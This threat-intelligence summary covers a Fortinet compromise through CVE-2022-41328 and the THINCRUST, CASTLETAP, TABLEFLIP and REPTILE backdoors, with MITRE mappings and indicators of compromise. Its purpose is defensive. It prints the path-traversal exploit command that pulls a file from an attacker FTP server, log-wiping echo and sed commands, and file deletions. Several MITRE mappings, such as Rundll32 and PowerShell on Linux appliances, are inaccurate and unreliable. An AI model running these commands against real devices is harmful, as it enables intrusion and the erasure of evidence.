Keypoints
- Threat actor exploited CVE-2022-41328 path traversal via FortiManager scripts to overwrite files on FortiGate devices and install backdoors.
- THINCRUST: a Python-based backdoor added an API endpoint (e.g., /p/util/show_device_info) on FortiManager/FortiAnalyzer to execute commands and read/write files using encrypted cookies.
- CASTLETAP: a persistent FortiGate backdoor (/bin/fgfm) that listens for XOR-encoded ICMP activation packets, decodes C2 IP/port, and communicates over SSL with a custom handshake.
- When FortiManager access was restricted, the actor used TABLEFLIP to add iptables PREROUTING rules that redirected TCP port 541 traffic to reach a REPTILE backdoor (kernel/module style) on FortiManager.
- REPTILE listens on layer 2 packets for XOR-encoded magic strings to spawn reverse shells; both CASTLETAP and REPTILE derive single-byte XOR keys from the date (daily-changing key).
- Actor used anti-forensics: clearing logs, removing files after launch, and modifying /bin/smit via dd to bypass OpenSSL signature checks at boot (disabling verification of core files).
- Compromise extended to VMware ESXi via SSH from Fortinet devices and deployment of malicious VIBs (VIRTUALPITA/VIRTUALPIE) to maintain hypervisor persistence.
MITRE Techniques
- [T1565.001] Stored Data Manipulation â Corrupted boot files to bypass verification and alter system behavior. (âDisabled OpenSSL 1.1.0 digital signature verification of system files through targeted corruption of boot filesâ)
- [T1027] Obfuscated Files or Information â Encrypted cookie and RC4 usage to hide commands and payloads. (âFGMGTOKEN cookie is encrypted with an RSA key hardcoded into views.py and contained an RC4 keyâ)
- [T1070] Indicator Removal on Host â Actor cleared logs and edited files to remove trace of connections. (âecho > /var/log/django.log; echo > /var/log/apache2/error_log; sed -i â//dâ /var/log/apache2/*logâ)
- [T1070.003] Clear Command History â Evidence of HISTFILE manipulation and clearing of shell history. (âHISTFILE=â shown in YARA and anti-forensics commands to clear logsâ)
- [T1070.004] File Deletion â Scripts removed backdoor binaries after launch to hamper discovery. (ârm -rf /bin/klogd ⌠rm -rf /bin/supportâ in /bin/supportâ)
- [T1078] Valid Accounts â Maintained Super Administrator privileges on FortiGate devices for operations. (âMaintained persistent access with Super Administrator privileges within FortiGate Firewallsâ)
- [T1140] Deobfuscate/Decode Files or Information â XOR-based decoding used to extract C2 IP/port from activation packets. (âXOR encoded C2 IPâ / âXOR decoded a 9-byte magic activation stringâ)
- [T1202] Indirect Command Execution â Used FortiManager scripts and existing management functions to run commands on FortiGate devices. (âUser Fortimanager_Access via fgfmd upload and run script: <script_id> â OKâ)
- [T1218.011] Rundll32 â Use of native system utilities to invoke code (article lists native binary manipulation to execute modified binaries). (âdiagnose hardware lscpiâ executed which then invoked modified /bin/sysctl via symlink)
- [T1222] File and Directory Permissions Modification â Replaced and symlinked system binaries to alter execution flow. (â/bin/lspci -> /bin/sysctlâ symlink observed on compromised FortiGate)
- [T1497] Virtualization/Sandbox Evasion â Deployed to ESXi hypervisors and used hypervisor persistence to evade host-based defenses. (âinstallation of malicious vSphere Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoorsâ)
- [T1497.001] System Checks â Modified boot-time verification logic to skip signature checks. (âchanged a conditional jump instruction to an unconditional jump instruction which always skipped digital signature verification checksâ)
- [T1620] Reflective Code Loading â Modified runtime files and appended code to legitimate framework files (Python views.py) to execute injected code in-process. (âappended python backdoor code to a legitimate web framework fileâ)
- [T1552] Unsecured Credentials â Use of encrypted cookies and stored tokens to carry decryption keys and commands. (âFGMGTOKEN ⌠contained an RC4 key that decrypted the commands received through the DEVICEID cookieâ)
- [T1555.005] Password Managers â Access and use of stored credentials or tokens within system management flows (cookies/keys used to authenticate backdoor commands). (âFGMGTOKEN cookie is encrypted ⌠and contained an RC4 keyâ)
- [T1016] System Network Configuration Discovery â Discovery of network addresses and use of FortiManager/FortiAnalyzer logs to identify routing and management IPs. (âMandiant suspected the FortiGate and FortiManager devices were compromised due to the connections to VIRTUALPITA from the Fortinet management IP addressesâ)
- [T1033] System Owner/User Discovery â Enumeration of accounts and ownership used during compromise and lateral movement. (âAccount Discoveryâ techniques observed in investigation)
- [T1057] Process Discovery â Actor inspected and replaced system binaries and shell functionality to hide or control processes. (âfile listing entries ⌠contained similar timestamps that did not align with other legitimate binariesâ)
- [T1082] System Information Discovery â Collected system file metadata and OS details to guide implant placement. (âFortinet identified a trojanized firmware that contained a persistent backdoorâ)
- [T1083] File and Directory Discovery â Searched filesystem for binaries to replace or symlink (e.g., /bin/lspci, /bin/sysctl). (âMandiant reviewed file listings from multiple FortiGate firewalls in search of modified versions of /bin/lspciâ)
- [T1087] Account Discovery â Enumerated accounts (Super Administrator) and management channels to maintain access. (âMaintained persistent access with Super Administrator privilegesâ)
- [T1518] Software Discovery â Identified software versions and targets (FortiGate 6.2.7, FortiManager/FortiAnalyzer 6.4.7) for exploitation and persistence.) (âFortiGate: 6.2.7; FortiManager 6.4.7; FortiAnalyzer 6.4.7â)
- [T1074.001] Local Data Staging â Staged file uploads and backdoor files on devices prior to execution. (âuploaded .ico files ⌠allowed the threat actor to overwrite legitimate files in a normally restricted system directoryâ)
- [T1560] Archive Collected Data â Use of utilities to collect and package data from hosts (archiving techniques referenced in collection lifecycle). (âArchive Collected Dataâ listed in MITRE mappings)
- [T1560.001] Archive via Utility â Use of system utilities to archive collected data for exfiltration (listed in collection techniques).
- [T1059] Command and Scripting Interpreter â Execution of scripts and commands via Python, shell, and management scripts to perform actions. (âappended python backdoor codeâ and âexecute the command line stored in âkeyââ)
- [T1059.001] PowerShell â Use of native command interpreters where applicable for command execution (listed in execution section).
- [T1059.003] Windows Command Shell â Use of shell interpreters where applicable for remote command execution (listed in execution section).
- [T1059.004] Unix Shell â Used busybox/Unix shells via CASTLETAP to spawn interactive shells on devices. (âSpawn busybox based command shell, otherwise fallback to a normal command shell.â)
- [T1059.006] Python â Backdoor implemented as Python code within FortiManager views.py (THINCRUST). (âappended python backdoor code to a legitimate web framework fileâ)
- [T1129] Shared Modules â Use of kernel module/rootkit techniques (REPTILE variant of LKM) to run code in kernel context. (âREPTILE ⌠variant of a publicly available Linux kernel module (LKM) rootkitâ)
- [T1095] Non-Application Layer Protocol â Command activation via ICMP and raw layer 2 packets used for backdoor activation. (âlistened for a specialized ICMP packet for activationâ and âcreated a packet socket to receive OSI layer 2 packetsâ)
- [T1102.001] Dead Drop Resolver â Use of hidden/non-standard channels and encoded payloads for C2 resolution (dead-drop-like behavior via encoded ICMP/packets). (âParse C2 information from ICMP payload and connect to it over SSL.â)
- [T1105] Ingress Tool Transfer â Transferred malicious files/VIBs (VIRTUALPITA/VIRTUALPIE) to ESXi hosts to establish persistence. (âinstallation of malicious vSphere Installation Bundles which contained VIRTUALPITA and VIRTUALPIE backdoorsâ)
- [T1571] Non-Standard Port â Use of non-standard or redirected ports (TCP 541 redirection) to reach management services. (âredirect TCP port 541 traffic to another specified portâ via iptablesâ)
- [T1573.001] Symmetric Cryptography â Use of XOR/RC4 symmetric schemes to encrypt/decrypt C2 payloads and commands. (âXOR encoded C2 IPâ and âRC4 encryptedâ payloads)
- [T1021.004] SSH â Lateral movement via SSH from Fortinet devices to ESXi/vCenter servers. (âMandiant observed SSH connections from the Fortinet devices to the ESXi serversâ)
Indicators of Compromise
- [FortiGate Command] exploitation indicators â execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci <TA FTP Server>, execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci <TA TFTP Server> (commands used to exploit CVE-2022-41328)
- [Filenames] implanted binaries and scripts â /bin/fgfm (CASTLETAP), /bin/support (launcher script), /bin/auth (TABLEFLIP), /bin/klogd (REPTILE)
- [Symlink] altered filesystem entry â /bin/lspci -> /bin/sysctl (indicates file system tampering on FortiGate)
- [URIs/API] backdoor endpoints â /p/util/show_device_info (THINCRUST on FortiManager), /p/utils/fortigate_syslog_send (FortiAnalyzer variant)
- [MD5] malware sample hashes â b6e92149efaf78e9ce7552297505b9d5 (TABLEFLIP), 53a69adac914808eced2bf8155a7512d (REPTILE variant), and other hashes listed (multiple THINCRUST/CASTLETAP hashes)
- [SHA256] sample hashes â a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a (CASTLETAP), eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b (REPTILE)
When operating against Fortinet-managed environments the actor first implanted a Python-based API backdoor (THINCRUST) by appending code to /usr/local/lib/python3.8/proj/util/urls.py and views.py to expose an endpoint (e.g., /p/util/show_device_info) that accepted two cookies (FGMGTOKEN and DEVICEID); FGMGTOKEN contained an RSA-wrapped RC4 key that decrypted commands in DEVICEID, enabling arbitrary command execution and file read/write without authentication. After persistence on FortiManager and FortiAnalyzer, the attacker used FortiManager scripts that leveraged a local directory traversal (CVE-2022-41328) via the âexecute wireless-controller hs20-icon upload-iconâ command to overwrite system files on FortiGate devices and deploy non-persistent implants and symlinked binaries (e.g., replacing /bin/lspci or linking it to a trojanized /bin/sysctl).
On FortiGate appliances Mandiant identified a persistent firmware-level implant (CASTLETAP, /bin/fgfm) that created a raw promiscuous socket to sniff packets and filter a nine-byte XOR-encoded magic string in ICMP echo payloads; the implant derived a daily single-byte XOR key from the epoch date, decoded C2 IP/port, then initiated an SSL socket to a C2 using a 16-byte handshake and accepted commands for file upload/download and spawning a busybox shell. When FortiManager external access was restricted, the attacker used TABLEFLIP (/bin/auth) to listen for a distinct TCP magic and add iptables PREROUTING rules that redirected traffic destined for FortiManager TCP 541 to a local port, thereby enabling direct Internet access to a REPTILE backdoor (/bin/klogd). TABLEFLIPâs payload structure carried an XOR key and command/IP/port fields that it applied to configure or remove redirection rules.
REPTILE operated as a kernel/module-style backdoor creating a packet socket to inspect OSI layer 2 frames for XOR-decoded magic strings (daily-changing single-byte XOR key), parsed C2 details, and spawned a reverse shell when activated; anti-forensics included ephemeral launch scripts (/bin/support) that executed the malicious binaries then deleted them, sed/echo commands to wipe logs, and a dd write added to /etc/init.d/localnet to flip a byte in /bin/smit so boot-time OpenSSL signature checks were skipped. The actor then pivoted to VMware via SSH from compromised Fortinet devices and installed malicious VIBs (VIRTUALPITA/VIRTUALPIE) for hypervisor persistence.
Read more: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem